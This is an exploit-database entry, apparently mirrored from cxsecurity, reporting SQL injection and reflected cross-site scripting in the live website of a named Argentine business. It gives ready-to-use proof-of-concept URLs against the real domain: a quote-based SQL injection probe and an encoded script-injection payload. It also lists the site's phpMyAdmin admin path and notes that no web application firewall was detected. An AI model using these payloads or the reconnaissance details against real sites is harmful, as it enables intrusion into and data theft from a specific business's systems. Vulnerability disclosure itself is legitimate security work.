Don Quico Empresa (SQL Injection / XSS Reflected)

CVE	Category	Price	Severity
N/A	CWE-89	N/A	N/A

Author	Risk	Exploitation Type	Date
Don Quico	High	Remote	2019-09-15

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019090107

Below is a copy:

Don Quico Empresa (SQL Injection / XSS Reflected)

Exploit Title: Don Quico Empresa (SQL Injection / XSS Reflected)
Discovered By: intrackeable
Date: 14/09/2019
Tested On: Linux Kubuntu
Category: WebApps
Vulnerability Type: CWE-89 / CWE-79 
Vendor Home Page: donquicosh.com.ar
PoC: 
http://donquicosh.com.ar/DetalleProductos.php?IdProducto=84%27

http://donquicosh.com.ar/Productos.php?Bus=%27%22%3Cscript%3Ealert(%22XSS%22)%3B%3C%2Fscript%3E

Admin Login Paths:
http://donquicosh.com.ar/phpmyadmin
WAF Detection: 
No WAF detected by the generic detection.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum